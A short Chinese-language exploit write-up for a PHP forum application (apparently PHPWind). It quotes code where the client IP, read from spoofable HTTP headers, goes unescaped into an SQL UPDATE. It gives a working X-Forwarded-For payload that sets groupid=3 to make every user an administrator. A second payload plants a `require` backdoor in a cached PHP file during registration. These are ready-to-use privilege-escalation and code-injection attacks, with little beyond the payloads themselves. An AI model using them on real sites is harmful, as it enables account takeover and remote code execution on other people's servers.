code:
passport_client.php
function Loginipwrite($winduid){
global $db,$timestamp,$onlineip;
$logininfo="$onlineip|$timestamp|6";
$db->update(
"UPDATE pw_user SET lastvisit=thisvisit,thisvisit=''$timestamp'',onlineip=''$logininfo'' WHERE uid=''$winduid''");
}
再看$onlineip是怎么来的
Global.php
if($_SERVER[''HTTP_CLIENT_IP'']){
$onlineip=$_SERVER[''HTTP_CLIENT_IP''];
}elseif($_SERVER[''HTTP_X_FORWARDED_FOR'']){
$onlineip=$_SERVER[''HTTP_X_FORWARDED_FOR''];
}else{
$onlineip=$_SERVER[''REMOTE_ADDR''];
}
$onlineip =substrs($onlineip,16);
十六个字节,够提升权限的了吧?
抓包提交
HTTP_X_FORWARDED_FOR: '',groupid=3,/*
嘎嘎,每个人都成了管理员鸟
另外还有一点非常非常鸡肋的问题,在php.ini中若short_open_tag = off时可以得到shell
看 register.php中的一段代码
if($rg_allowsameip){
if(file_exists(D_P.'data/cache/ip_cache.php')){
writeover(D_P.'data/cache/ip_cache.php',"<$onlineip>","ab");
}else{
writeover(D_P.'data/cache/ip_cache.php',"<?die;?><$onlineip>");
}
}
我们注册的时候抓包提交 HTTP_X_FORWARDED_FOR 为 ?require($a);?
data/cache/ip_cache.php就变成了这样的形式
<?die;?>
……
<?require($a);?>
在php.ini中若short_open_tag = off, die() 就可以被饶过,从而执行我们的后门。






